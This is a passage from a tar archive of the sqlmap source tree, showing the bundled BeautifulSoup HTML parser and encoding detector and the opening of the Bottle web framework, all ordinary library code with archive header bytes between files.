#print "Push", tag.name if self.currentTag: self.currentTag.contents.append(tag) self.tagStack.append(tag) self.currentTag = self.tagStack[-1] def endData(self, containerClass=NavigableString): if self.currentData: currentData = u''.join(self.currentData) if (currentData.translate(self.STRIP_ASCII_SPACES) == '' and not set([tag.name for tag in self.tagStack]).intersection( self.PRESERVE_WHITESPACE_TAGS)): if '\n' in currentData: currentData = '\n' else: currentData = ' ' self.currentData = [] if self.parseOnlyThese and len(self.tagStack) <= 1 and \ (not self.parseOnlyThese.text or \ not self.parseOnlyThese.search(currentData)): return o = containerClass(currentData) o.setup(self.currentTag, self.previous) if self.previous: self.previous.next = o self.previous = o self.currentTag.contents.append(o) def _popToTag(self, name, inclusivePop=True): """Pops the tag stack up to and including the most recent instance of the given tag. If inclusivePop is false, pops the tag stack up to but *not* including the most recent instqance of the given tag.""" #print "Popping to %s" % name if name == self.ROOT_TAG_NAME: return numPops = 0 mostRecentTag = None for i in xrange(len(self.tagStack)-1, 0, -1): if name == self.tagStack[i].name: numPops = len(self.tagStack)-i break if not inclusivePop: numPops = numPops - 1 for i in xrange(0, numPops): mostRecentTag = self.popTag() return mostRecentTag def _smartPop(self, name): """We need to pop up to the previous tag of this type, unless one of this tag's nesting reset triggers comes between this tag and the previous tag of this type, OR unless this tag is a generic nesting trigger and another generic nesting trigger comes between this tag and the previous tag of this type. Examples: <p>Foo<b>Bar *<p>* should pop to 'p', not 'b'. <p>Foo<table>Bar *<p>* should pop to 'table', not 'p'. <p>Foo<table><tr>Bar *<p>* should pop to 'tr', not 'p'. <li><ul><li> *<li>* should pop to 'ul', not the first 'li'. <tr><table><tr> *<tr>* should pop to 'table', not the first 'tr' <td><tr><td> *<td>* should pop to 'tr', not the first 'td' """ nestingResetTriggers = self.NESTABLE_TAGS.get(name) isNestable = nestingResetTriggers != None isResetNesting = self.RESET_NESTING_TAGS.has_key(name) popTo = None inclusive = True for i in xrange(len(self.tagStack)-1, 0, -1): p = self.tagStack[i] if (not p or p.name == name) and not isNestable: #Non-nestable tags get popped to the top or to their #last occurance. popTo = name break if (nestingResetTriggers is not None and p.name in nestingResetTriggers) \ or (nestingResetTriggers is None and isResetNesting and self.RESET_NESTING_TAGS.has_key(p.name)): #If we encounter one of the nesting reset triggers #peculiar to this tag, or we encounter another tag #that causes nesting to reset, pop up to but not #including that tag. popTo = p.name inclusive = False break p = p.parent if popTo: self._popToTag(popTo, inclusive) def unknown_starttag(self, name, attrs, selfClosing=0): #print "Start tag %s: %s" % (name, attrs) if self.quoteStack: #This is not a real tag. #print "<%s> is not real!" % name attrs = ''.join([' %s="%s"' % (x, y) for x, y in attrs]) self.handle_data('<%s%s>' % (name, attrs)) return self.endData() if not self.isSelfClosingTag(name) and not selfClosing: self._smartPop(name) if self.parseOnlyThese and len(self.tagStack) <= 1 \ and (self.parseOnlyThese.text or not self.parseOnlyThese.searchTag(name, attrs)): return tag = Tag(self, name, attrs, self.currentTag, self.previous) if self.previous: self.previous.next = tag self.previous = tag self.pushTag(tag) if selfClosing or self.isSelfClosingTag(name): self.popTag() if name in self.QUOTE_TAGS: #print "Beginning quote (%s)" % name self.quoteStack.append(name) self.literal = 1 return tag def unknown_endtag(self, name): #print "End tag %s" % name if self.quoteStack and self.quoteStack[-1] != name: #This is not a real end tag. #print "</%s> is not real!" % name self.handle_data('</%s>' % name) return self.endData() self._popToTag(name) if self.quoteStack and self.quoteStack[-1] == name: self.quoteStack.pop() self.literal = (len(self.quoteStack) > 0) def handle_data(self, data): self.currentData.append(data) def _toStringSubclass(self, text, subclass): """Adds a certain piece of text to the tree as a NavigableString subclass.""" self.endData() self.handle_data(text) self.endData(subclass) def handle_pi(self, text): """Handle a processing instruction as a ProcessingInstruction object, possibly one with a %SOUP-ENCODING% slot into which an encoding will be plugged later.""" if text[:3] == "xml": text = u"xml version='1.0' encoding='%SOUP-ENCODING%'" self._toStringSubclass(text, ProcessingInstruction) def handle_comment(self, text): "Handle comments as Comment objects." self._toStringSubclass(text, Comment) def handle_charref(self, ref): "Handle character references as data." if self.convertEntities: data = unichr(int(ref)) else: data = '&#%s;' % ref self.handle_data(data) def handle_entityref(self, ref): """Handle entity references as data, possibly converting known HTML and/or XML entity references to the corresponding Unicode characters.""" data = None if self.convertHTMLEntities: try: data = unichr(name2codepoint[ref]) except KeyError: pass if not data and self.convertXMLEntities: data = self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref) if not data and self.convertHTMLEntities and \ not self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref): # TODO: We've got a problem here. We're told this is # an entity reference, but it's not an XML entity # reference or an HTML entity reference. Nonetheless, # the logical thing to do is to pass it through as an # unrecognized entity reference. # # Except: when the input is "&carol;" this function # will be called with input "carol". When the input is # "AT&T", this function will be called with input # "T". We have no way of knowing whether a semicolon # was present originally, so we don't know whether # this is an unknown entity or just a misplaced # ampersand. # # The more common case is a misplaced ampersand, so I # escape the ampersand and omit the trailing semicolon. data = "&%s" % ref if not data: # This case is different from the one above, because we # haven't already gone through a supposedly comprehensive # mapping of entities to Unicode characters. We might not # have gone through any mapping at all. So the chances are # very high that this is a real entity, and not a # misplaced ampersand. data = "&%s;" % ref self.handle_data(data) def handle_decl(self, data): "Handle DOCTYPEs and the like as Declaration objects." self._toStringSubclass(data, Declaration) def parse_declaration(self, i): """Treat a bogus SGML declaration as raw data. Treat a CDATA declaration as a CData object.""" j = None if self.rawdata[i:i+9] == '<![CDATA[': k = self.rawdata.find(']]>', i) if k == -1: k = len(self.rawdata) data = self.rawdata[i+9:k] j = k+3 self._toStringSubclass(data, CData) else: try: j = SGMLParser.parse_declaration(self, i) except SGMLParseError: toHandle = self.rawdata[i:] self.handle_data(toHandle) j = i + len(toHandle) return j class BeautifulSoup(BeautifulStoneSoup): """This parser knows the following facts about HTML: * Some tags have no closing tag and should be interpreted as being closed as soon as they are encountered. * The text inside some tags (ie. 'script') may contain tags which are not really part of the document and which should be parsed as text, not tags. If you want to parse the text as tags, you can always fetch it and parse it explicitly. * Tag nesting rules: Most tags can't be nested at all. For instance, the occurance of a <p> tag should implicitly close the previous <p> tag. <p>Para1<p>Para2 should be transformed into: <p>Para1</p><p>Para2 Some tags can be nested arbitrarily. For instance, the occurance of a <blockquote> tag should _not_ implicitly close the previous <blockquote> tag. Alice said: <blockquote>Bob said: <blockquote>Blah should NOT be transformed into: Alice said: <blockquote>Bob said: </blockquote><blockquote>Blah Some tags can be nested, but the nesting is reset by the interposition of other tags. For instance, a <tr> tag should implicitly close the previous <tr> tag within the same <table>, but not close a <tr> tag in another table. <table><tr>Blah<tr>Blah should be transformed into: <table><tr>Blah</tr><tr>Blah but, <tr>Blah<table><tr>Blah should NOT be transformed into <tr>Blah<table></tr><tr>Blah Differing assumptions about tag nesting rules are a major source of problems with the BeautifulSoup class. If BeautifulSoup is not treating as nestable a tag your page author treats as nestable, try ICantBelieveItsBeautifulSoup, MinimalSoup, or BeautifulStoneSoup before writing your own subclass.""" def __init__(self, *args, **kwargs): if not kwargs.has_key('smartQuotesTo'): kwargs['smartQuotesTo'] = self.HTML_ENTITIES kwargs['isHTML'] = True BeautifulStoneSoup.__init__(self, *args, **kwargs) SELF_CLOSING_TAGS = buildTagMap(None, ('br' , 'hr', 'input', 'img', 'meta', 'spacer', 'link', 'frame', 'base', 'col')) PRESERVE_WHITESPACE_TAGS = set(['pre', 'textarea']) QUOTE_TAGS = {'script' : None, 'textarea' : None} #According to the HTML standard, each of these inline tags can #contain another tag of the same type. Furthermore, it's common #to actually use these tags this way. NESTABLE_INLINE_TAGS = ('span', 'font', 'q', 'object', 'bdo', 'sub', 'sup', 'center') #According to the HTML standard, these block tags can contain #another tag of the same type. Furthermore, it's common #to actually use these tags this way. NESTABLE_BLOCK_TAGS = ('blockquote', 'div', 'fieldset', 'ins', 'del') #Lists can contain other lists, but there are restrictions. NESTABLE_LIST_TAGS = { 'ol' : [], 'ul' : [], 'li' : ['ul', 'ol'], 'dl' : [], 'dd' : ['dl'], 'dt' : ['dl'] } #Tables can contain other tables, but there are restrictions. NESTABLE_TABLE_TAGS = {'table' : [], 'tr' : ['table', 'tbody', 'tfoot', 'thead'], 'td' : ['tr'], 'th' : ['tr'], 'thead' : ['table'], 'tbody' : ['table'], 'tfoot' : ['table'], } NON_NESTABLE_BLOCK_TAGS = ('address', 'form', 'p', 'pre') #If one of these tags is encountered, all tags up to the next tag of #this type are popped. RESET_NESTING_TAGS = buildTagMap(None, NESTABLE_BLOCK_TAGS, 'noscript', NON_NESTABLE_BLOCK_TAGS, NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) NESTABLE_TAGS = buildTagMap([], NESTABLE_INLINE_TAGS, NESTABLE_BLOCK_TAGS, NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) # Used to detect the charset in a META tag; see start_meta CHARSET_RE = re.compile("((^|;)\s*charset=)([^;]*)", re.M) def start_meta(self, attrs): """Beautiful Soup can detect a charset included in a META tag, try to convert the document to that charset, and re-parse the document from the beginning.""" httpEquiv = None contentType = None contentTypeIndex = None tagNeedsEncodingSubstitution = False for i in xrange(0, len(attrs)): key, value = attrs[i] key = key.lower() if key == 'http-equiv': httpEquiv = value elif key == 'content': contentType = value contentTypeIndex = i if httpEquiv and contentType: # It's an interesting meta tag. match = self.CHARSET_RE.search(contentType) if match: if (self.declaredHTMLEncoding is not None or self.originalEncoding == self.fromEncoding): # An HTML encoding was sniffed while converting # the document to Unicode, or an HTML encoding was # sniffed during a previous pass through the # document, or an encoding was specified # explicitly and it worked. Rewrite the meta tag. def rewrite(match): return match.group(1) + "%SOUP-ENCODING%" newAttr = self.CHARSET_RE.sub(rewrite, contentType) attrs[contentTypeIndex] = (attrs[contentTypeIndex][0], newAttr) tagNeedsEncodingSubstitution = True else: # This is our first pass through the document. # Go through it again with the encoding information. newCharset = match.group(3) if newCharset and newCharset != self.originalEncoding: self.declaredHTMLEncoding = newCharset self._feed(self.declaredHTMLEncoding) raise StopParsing pass tag = self.unknown_starttag("meta", attrs) if tag and tagNeedsEncodingSubstitution: tag.containsSubstitutions = True class StopParsing(Exception): pass class ICantBelieveItsBeautifulSoup(BeautifulSoup): """The BeautifulSoup class is oriented towards skipping over common HTML errors like unclosed tags. However, sometimes it makes errors of its own. For instance, consider this fragment: <b>Foo<b>Bar</b></b> This is perfectly valid (if bizarre) HTML. However, the BeautifulSoup class will implicitly close the first b tag when it encounters the second 'b'. It will think the author wrote "<b>Foo<b>Bar", and didn't close the first 'b' tag, because there's no real-world reason to bold something that's already bold. When it encounters '</b></b>' it will close two more 'b' tags, for a grand total of three tags closed instead of two. This can throw off the rest of your document structure. The same is true of a number of other tags, listed below. It's much more common for someone to forget to close a 'b' tag than to actually use nested 'b' tags, and the BeautifulSoup class handles the common case. This class handles the not-co-common case: where you can't believe someone wrote what they did, but it's valid HTML and BeautifulSoup screwed up by assuming it wouldn't be.""" I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS = \ ('em', 'big', 'i', 'small', 'tt', 'abbr', 'acronym', 'strong', 'cite', 'code', 'dfn', 'kbd', 'samp', 'strong', 'var', 'b', 'big') I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS = ('noscript',) NESTABLE_TAGS = buildTagMap([], BeautifulSoup.NESTABLE_TAGS, I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS, I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS) class MinimalSoup(BeautifulSoup): """The MinimalSoup class is for parsing HTML that contains pathologically bad markup. It makes no assumptions about tag nesting, but it does know which tags are self-closing, that <script> tags contain Javascript and should not be parsed, that META tags may contain encoding information, and so on. This also makes it better for subclassing than BeautifulStoneSoup or BeautifulSoup.""" RESET_NESTING_TAGS = buildTagMap('noscript') NESTABLE_TAGS = {} class BeautifulSOAP(BeautifulStoneSoup): """This class will push a tag with only a single string child into the tag's parent as an attribute. The attribute's name is the tag name, and the value is the string child. An example should give the flavor of the change: <foo><bar>baz</bar></foo> => <foo bar="baz"><bar>baz</bar></foo> You can then access fooTag['bar'] instead of fooTag.barTag.string. This is, of course, useful for scraping structures that tend to use subelements instead of attributes, such as SOAP messages. Note that it modifies its input, so don't print the modified version out. I'm not sure how many people really want to use this class; let me know if you do. Mainly I like the name.""" def popTag(self): if len(self.tagStack) > 1: tag = self.tagStack[-1] parent = self.tagStack[-2] parent._getAttrMap() if (isinstance(tag, Tag) and len(tag.contents) == 1 and isinstance(tag.contents[0], NavigableString) and not parent.attrMap.has_key(tag.name)): parent[tag.name] = tag.contents[0] BeautifulStoneSoup.popTag(self) #Enterprise class names! It has come to our attention that some people #think the names of the Beautiful Soup parser classes are too silly #and "unprofessional" for use in enterprise screen-scraping. We feel #your pain! For such-minded folk, the Beautiful Soup Consortium And #All-Night Kosher Bakery recommends renaming this file to #"RobustParser.py" (or, in cases of extreme enterprisiness, #"RobustParserBeanInterface.class") and using the following #enterprise-friendly class aliases: class RobustXMLParser(BeautifulStoneSoup): pass class RobustHTMLParser(BeautifulSoup): pass class RobustWackAssHTMLParser(ICantBelieveItsBeautifulSoup): pass class RobustInsanelyWackAssHTMLParser(MinimalSoup): pass class SimplifyingSOAPParser(BeautifulSOAP): pass ###################################################### # # Bonus library: Unicode, Dammit # # This class forces XML data into a standard format (usually to UTF-8 # or Unicode). It is heavily based on code from Mark Pilgrim's # Universal Feed Parser. It does not rewrite the XML or HTML to # reflect a new encoding: that happens in BeautifulStoneSoup.handle_pi # (XML) and BeautifulSoup.start_meta (HTML). # Autodetects character encodings. # Download from http://chardet.feedparser.org/ try: import chardet # import chardet.constants # chardet.constants._debug = 1 except ImportError: chardet = None # cjkcodecs and iconv_codec make Python know about more character encodings. # Both are available from http://cjkpython.i18n.org/ # They're built in if you use Python 2.4. try: import cjkcodecs.aliases except ImportError: pass try: import iconv_codec except ImportError: pass class UnicodeDammit: """A class for detecting the encoding of a *ML document and converting it to a Unicode string. If the source encoding is windows-1252, can replace MS smart quotes with their HTML or XML equivalents.""" # This dictionary maps commonly seen values for "charset" in HTML # meta tags to the corresponding Python codec names. It only covers # values that aren't in Python's aliases and can't be determined # by the heuristics in find_codec. CHARSET_ALIASES = { "macintosh" : "mac-roman", "x-sjis" : "shift-jis" } def __init__(self, markup, overrideEncodings=[], smartQuotesTo='xml', isHTML=False): self.declaredHTMLEncoding = None self.markup, documentEncoding, sniffedEncoding = \ self._detectEncoding(markup, isHTML) self.smartQuotesTo = smartQuotesTo self.triedEncodings = [] if markup == '' or isinstance(markup, unicode): self.originalEncoding = None self.unicode = unicode(markup) return u = None for proposedEncoding in overrideEncodings: u = self._convertFrom(proposedEncoding) if u: break if not u: for proposedEncoding in (documentEncoding, sniffedEncoding): u = self._convertFrom(proposedEncoding) if u: break # If no luck and we have auto-detection library, try that: if not u and chardet and not isinstance(self.markup, unicode): u = self._convertFrom(chardet.detect(self.markup)['encoding']) # As a last resort, try utf-8 and windows-1252: if not u: for proposed_encoding in ("utf-8", "windows-1252"): u = self._convertFrom(proposed_encoding) if u: break self.unicode = u if not u: self.originalEncoding = None def _subMSChar(self, orig): """Changes a MS smart quote character to an XML or HTML entity.""" sub = self.MS_CHARS.get(orig) if isinstance(sub, tuple): if self.smartQuotesTo == 'xml': sub = '&#x%s;' % sub[1] else: sub = '&%s;' % sub[0] return sub def _convertFrom(self, proposed): proposed = self.find_codec(proposed) if not proposed or proposed in self.triedEncodings: return None self.triedEncodings.append(proposed) markup = self.markup # Convert smart quotes to HTML if coming from an encoding # that might have them. if self.smartQuotesTo and proposed.lower() in("windows-1252", "iso-8859-1", "iso-8859-2"): markup = re.compile("([\x80-\x9f])").sub \ (lambda(x): self._subMSChar(x.group(1)), markup) try: # print "Trying to convert document to %s" % proposed u = self._toUnicode(markup, proposed) self.markup = u self.originalEncoding = proposed except Exception, e: # print "That didn't work!" # print e return None #print "Correct encoding: %s" % proposed return self.markup def _toUnicode(self, data, encoding): '''Given a string and its encoding, decodes the string into Unicode. %encoding is a string recognized by encodings.aliases''' # strip Byte Order Mark (if present) if (len(data) >= 4) and (data[:2] == '\xfe\xff') \ and (data[2:4] != '\x00\x00'): encoding = 'utf-16be' data = data[2:] elif (len(data) >= 4) and (data[:2] == '\xff\xfe') \ and (data[2:4] != '\x00\x00'): encoding = 'utf-16le' data = data[2:] elif data[:3] == '\xef\xbb\xbf': encoding = 'utf-8' data = data[3:] elif data[:4] == '\x00\x00\xfe\xff': encoding = 'utf-32be' data = data[4:] elif data[:4] == '\xff\xfe\x00\x00': encoding = 'utf-32le' data = data[4:] newdata = unicode(data, encoding) return newdata def _detectEncoding(self, xml_data, isHTML=False): """Given a document, tries to detect its XML encoding.""" xml_encoding = sniffed_xml_encoding = None try: if xml_data[:4] == '\x4c\x6f\xa7\x94': # EBCDIC xml_data = self._ebcdic_to_ascii(xml_data) elif xml_data[:4] == '\x00\x3c\x00\x3f': # UTF-16BE sniffed_xml_encoding = 'utf-16be' xml_data = unicode(xml_data, 'utf-16be').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xfe\xff') \ and (xml_data[2:4] != '\x00\x00'): # UTF-16BE with BOM sniffed_xml_encoding = 'utf-16be' xml_data = unicode(xml_data[2:], 'utf-16be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x3f\x00': # UTF-16LE sniffed_xml_encoding = 'utf-16le' xml_data = unicode(xml_data, 'utf-16le').encode('utf-8') elif (len(xml_data) >= 4) and (xml_data[:2] == '\xff\xfe') and \ (xml_data[2:4] != '\x00\x00'): # UTF-16LE with BOM sniffed_xml_encoding = 'utf-16le' xml_data = unicode(xml_data[2:], 'utf-16le').encode('utf-8') elif xml_data[:4] == '\x00\x00\x00\x3c': # UTF-32BE sniffed_xml_encoding = 'utf-32be' xml_data = unicode(xml_data, 'utf-32be').encode('utf-8') elif xml_data[:4] == '\x3c\x00\x00\x00': # UTF-32LE sniffed_xml_encoding = 'utf-32le' xml_data = unicode(xml_data, 'utf-32le').encode('utf-8') elif xml_data[:4] == '\x00\x00\xfe\xff': # UTF-32BE with BOM sniffed_xml_encoding = 'utf-32be' xml_data = unicode(xml_data[4:], 'utf-32be').encode('utf-8') elif xml_data[:4] == '\xff\xfe\x00\x00': # UTF-32LE with BOM sniffed_xml_encoding = 'utf-32le' xml_data = unicode(xml_data[4:], 'utf-32le').encode('utf-8') elif xml_data[:3] == '\xef\xbb\xbf': # UTF-8 with BOM sniffed_xml_encoding = 'utf-8' xml_data = unicode(xml_data[3:], 'utf-8').encode('utf-8') else: sniffed_xml_encoding = 'ascii' pass except: xml_encoding_match = None xml_encoding_match = re.compile( '^<\?.*encoding=[\'"](.*?)[\'"].*\?>').match(xml_data) if not xml_encoding_match and isHTML: regexp = re.compile('<\s*meta[^>]+charset=([^>]*?)[;\'">]', re.I) xml_encoding_match = regexp.search(xml_data) if xml_encoding_match is not None: xml_encoding = xml_encoding_match.groups()[0].lower() if isHTML: self.declaredHTMLEncoding = xml_encoding if sniffed_xml_encoding and \ (xml_encoding in ('iso-10646-ucs-2', 'ucs-2', 'csunicode', 'iso-10646-ucs-4', 'ucs-4', 'csucs4', 'utf-16', 'utf-32', 'utf_16', 'utf_32', 'utf16', 'u16')): xml_encoding = sniffed_xml_encoding return xml_data, xml_encoding, sniffed_xml_encoding def find_codec(self, charset): return self._codec(self.CHARSET_ALIASES.get(charset, charset)) \ or (charset and self._codec(charset.replace("-", ""))) \ or (charset and self._codec(charset.replace("-", "_"))) \ or charset def _codec(self, charset): if not charset: return charset codec = None try: codecs.lookup(charset) codec = charset except (LookupError, ValueError): pass return codec EBCDIC_TO_ASCII_MAP = None def _ebcdic_to_ascii(self, s): c = self.__class__ if not c.EBCDIC_TO_ASCII_MAP: emap = (0,1,2,3,156,9,134,127,151,141,142,11,12,13,14,15, 16,17,18,19,157,133,8,135,24,25,146,143,28,29,30,31, 128,129,130,131,132,10,23,27,136,137,138,139,140,5,6,7, 144,145,22,147,148,149,150,4,152,153,154,155,20,21,158,26, 32,160,161,162,163,164,165,166,167,168,91,46,60,40,43,33, 38,169,170,171,172,173,174,175,176,177,93,36,42,41,59,94, 45,47,178,179,180,181,182,183,184,185,124,44,37,95,62,63, 186,187,188,189,190,191,192,193,194,96,58,35,64,39,61,34, 195,97,98,99,100,101,102,103,104,105,196,197,198,199,200, 201,202,106,107,108,109,110,111,112,113,114,203,204,205, 206,207,208,209,126,115,116,117,118,119,120,121,122,210, 211,212,213,214,215,216,217,218,219,220,221,222,223,224, 225,226,227,228,229,230,231,123,65,66,67,68,69,70,71,72, 73,232,233,234,235,236,237,125,74,75,76,77,78,79,80,81, 82,238,239,240,241,242,243,92,159,83,84,85,86,87,88,89, 90,244,245,246,247,248,249,48,49,50,51,52,53,54,55,56,57, 250,251,252,253,254,255) import string c.EBCDIC_TO_ASCII_MAP = string.maketrans( \ ''.join(map(chr, xrange(256))), ''.join(map(chr, emap))) return s.translate(c.EBCDIC_TO_ASCII_MAP) MS_CHARS = { '\x80' : ('euro', '20AC'), '\x81' : ' ', '\x82' : ('sbquo', '201A'), '\x83' : ('fnof', '192'), '\x84' : ('bdquo', '201E'), '\x85' : ('hellip', '2026'), '\x86' : ('dagger', '2020'), '\x87' : ('Dagger', '2021'), '\x88' : ('circ', '2C6'), '\x89' : ('permil', '2030'), '\x8A' : ('Scaron', '160'), '\x8B' : ('lsaquo', '2039'), '\x8C' : ('OElig', '152'), '\x8D' : '?', '\x8E' : ('#x17D', '17D'), '\x8F' : '?', '\x90' : '?', '\x91' : ('lsquo', '2018'), '\x92' : ('rsquo', '2019'), '\x93' : ('ldquo', '201C'), '\x94' : ('rdquo', '201D'), '\x95' : ('bull', '2022'), '\x96' : ('ndash', '2013'), '\x97' : ('mdash', '2014'), '\x98' : ('tilde', '2DC'), '\x99' : ('trade', '2122'), '\x9a' : ('scaron', '161'), '\x9b' : ('rsaquo', '203A'), '\x9c' : ('oelig', '153'), '\x9d' : '?', '\x9e' : ('#x17E', '17E'), '\x9f' : ('Yuml', ''),} ####################################################################### #By default, act as an HTML pretty-printer. if __name__ == '__main__': import sys soup = BeautifulSoup(sys.stdin) print soup.prettify() ������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/thirdparty/bottle/���������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0016500�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/thirdparty/bottle/__init__.py����������������������������������������������������������0000664�0000000�0000000�00000000005�13260122637�0020604�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������pass ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/thirdparty/bottle/bottle.py������������������������������������������������������������0000664�0000000�0000000�00000451755�13260122637�0020364�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # -*- coding: utf-8 -*- """ Bottle is a fast and simple micro-framework for small web applications. It offers request dispatching (Routes) with URL parameter support, templates, a built-in HTTP Server and adapters for many third party WSGI/HTTP-server and template engines - all in a single file and with no dependencies other than the Python Standard Library. Homepage and documentation: http://bottlepy.org/ Copyright (c) 2014, Marcel Hellkamp. License: MIT (see LICENSE for details) """ from __future__ import with_statement import sys __author__ = 'Marcel Hellkamp' __version__ = '0.13-dev' __license__ = 'MIT' ############################################################################### # Command-line interface ######################################################## ############################################################################### # INFO: Some server adapters need to monkey-patch std-lib modules before they # are imported. This is why some of the command-line handling is done here, but # the actual call to main() is at the end of the file. def _cli_parse(args): from optparse import OptionParser parser = OptionParser( usage="usage: %prog [options] package.module:app") opt = parser.add_option opt("--version", action="store_true", help="show version number.") opt("-b", "--bind", metavar="ADDRESS", help="bind socket to ADDRESS.") opt("-s", "--server", default='wsgiref', help="use SERVER as backend.") opt("-p", "--plugin", action="append", help="install additional plugin/s.") opt("-c", "--conf", action="append", metavar="FILE", help="load config values from FILE.") opt("-C", "--param", action="append", metavar="NAME=VALUE", help="override config values.") opt("--debug", action="store_true", help="start server in debug mode.") opt("--reload", action="store_true", help="auto-reload on file changes.") opts, args = parser.parse_args(args[1:]) return opts, args, parser def _cli_patch(args): opts, _, _ = _cli_parse(args) if opts.server: if opts.server.startswith('gevent'): import gevent.monkey gevent.monkey.patch_all() elif opts.server.startswith('eventlet'): import eventlet eventlet.monkey_patch() if __name__ == '__main__': _cli_patch(sys.argv) ############################################################################### # Imports and Python 2/3 unification ########################################### ############################################################################### import base64, cgi, email.utils, functools, hmac, imp, itertools, mimetypes,\ os, re, tempfile, threading, time, warnings from types import FunctionType from datetime import date as datedate, datetime, timedelta from tempfile import TemporaryFile from traceback import format_exc, print_exc from unicodedata import normalize # inspect.getargspec was removed in Python 3.6, use # Signature-based version where we can (Python 3.3+) try: from inspect import signature def getargspec(func): params = signature(func).parameters args, varargs, keywords, defaults = [], None, None, [] for name, param in params.items(): if param.kind == param.VAR_POSITIONAL: varargs = name elif param.kind == param.VAR_KEYWORD: keywords = name else: args.append(name) if param.default is not param.empty: defaults.append(param.default) return (args, varargs, keywords, tuple(defaults) or None) except ImportError: from inspect import getargspec try: from simplejson import dumps as json_dumps, loads as json_lds except ImportError: # pragma: no cover try: from json import dumps as json_dumps, loads as json_lds except ImportError: try: from django.utils.simplejson import dumps as json_dumps, loads as json_lds except ImportError: def json_dumps(data): raise ImportError( "JSON support requires Python 2.6 or simplejson.") json_lds = json_dumps # We now try to fix 2.5/2.6/3.1/3.2 incompatibilities. # It ain't pretty but it works... Sorry for the mess. py = sys.version_info py3k = py >= (3, 0, 0) py25 = py < (2, 6, 0) py31 = (3, 1, 0) <= py < (3, 2, 0) # Workaround for the missing "as" keyword in py3k. def _e(): return sys.exc_info()[1] # Workaround for the "print is a keyword/function" Python 2/3 dilemma # and a fallback for mod_wsgi (resticts stdout/err attribute access) try: _stdout, _stderr = sys.stdout.write, sys.stderr.write except IOError: _stdout = lambda x: sys.stdout.write(x) _stderr = lambda x: sys.stderr.write(x) # Lots of stdlib and builtin differences. if py3k: import http.client as httplib import _thread as thread from urllib.parse import urljoin, SplitResult as UrlSplitResult from urllib.parse import urlencode, quote as urlquote, unquote as urlunquote urlunquote = functools.partial(urlunquote, encoding='latin1') from http.cookies import SimpleCookie from collections import MutableMapping as DictMixin import pickle from io import BytesIO from configparser import ConfigParser, Error as ConfigParserError basestring = str unicode = str json_loads = lambda s: json_lds(touni(s)) callable = lambda x: hasattr(x, '__call__') imap = map def _raise(*a): raise a[0](a[1]).with_traceback(a[2]) else: # 2.x import httplib import thread from urlparse import urljoin, SplitResult as UrlSplitResult from urllib import urlencode, quote as urlquote, unquote as urlunquote from Cookie import SimpleCookie from itertools import imap import cPickle as pickle from StringIO import StringIO as BytesIO from ConfigParser import SafeConfigParser as ConfigParser, \ Error as ConfigParserError if py25: msg = "Python 2.5 support may be dropped in future versions of Bottle." warnings.warn(msg, DeprecationWarning) from UserDict import DictMixin def next(it): return it.next() bytes = str else: # 2.6, 2.7 from collections import MutableMapping as DictMixin unicode = unicode json_loads = json_lds eval(compile('def _raise(*a): raise a[0], a[1], a[2]', '<py3fix>', 'exec')) # Some helpers for string/byte handling def tob(s, enc='utf8'): return s.encode(enc) if isinstance(s, unicode) else bytes(s) def touni(s, enc='utf8', err='strict'): if isinstance(s, bytes): return s.decode(enc, err) else: return unicode(s or ("" if s is None else s)) tonat = touni if py3k else tob # 3.2 fixes cgi.FieldStorage to accept bytes (which makes a lot of sense). # 3.1 needs a workaround. if py31: from io import TextIOWrapper class NCTextIOWrapper(TextIOWrapper): def close(self): pass # Keep wrapped buffer open. # A bug in functools causes it to break if the wrapper is an instance method def update_wrapper(wrapper, wrapped, *a, **ka): try: functools.update_wrapper(wrapper, wrapped, *a, **ka) except AttributeError: pass # These helpers are used at module level and need to be defined first. # And yes, I know PEP-8, but sometimes a lower-case classname makes more sense. def depr(message, strict=False): warnings.warn(message, DeprecationWarning, stacklevel=3) def makelist(data): # This is just too handy if isinstance(data, (tuple, list, set, dict)): return list(data) elif data: return [data] else: return [] class DictProperty(object): """ Property that maps to a key in a local dict-like attribute. """ def __init__(self, attr, key=None, read_only=False): self.attr, self.key, self.read_only = attr, key, read_only def __call__(self, func): functools.update_wrapper(self, func, updated=[]) self.getter, self.key = func, self.key or func.__name__ return self def __get__(self, obj, cls): if obj is None: return self key, storage = self.key, getattr(obj, self.attr) if key not in storage: storage[key] = self.getter(obj) return storage[key] def __set__(self, obj, value): if self.read_only: raise AttributeError("Read-Only property.") getattr(obj, self.attr)[self.key] = value def __delete__(self, obj): if self.read_only: raise AttributeError("Read-Only property.") del getattr(obj, self.attr)[self.key] class cached_property(object): """ A property that is only computed once per instance and then replaces itself with an ordinary attribute. Deleting the attribute resets the property. """ def __init__(self, func): self.__doc__ = getattr(func, '__doc__') self.func = func def __get__(self, obj, cls): if obj is None: return self value = obj.__dict__[self.func.__name__] = self.func(obj) return value class lazy_attribute(object): """ A property that caches itself to the class object. """ def __init__(self, func): functools.update_wrapper(self, func, updated=[]) self.getter = func def __get__(self, obj, cls): value = self.getter(cls) setattr(cls, self.__name__, value) return value ############################################################################### # Exceptions and Events ######################################################## ############################################################################### class BottleException(Exception): """ A base class for exceptions used by bottle. """ pass ############################################################################### # Routing ###################################################################### ############################################################################### class RouteError(BottleException): """ This is a base class for all routing related exceptions """ class RouteReset(BottleException): """ If raised by a plugin or request handler, the 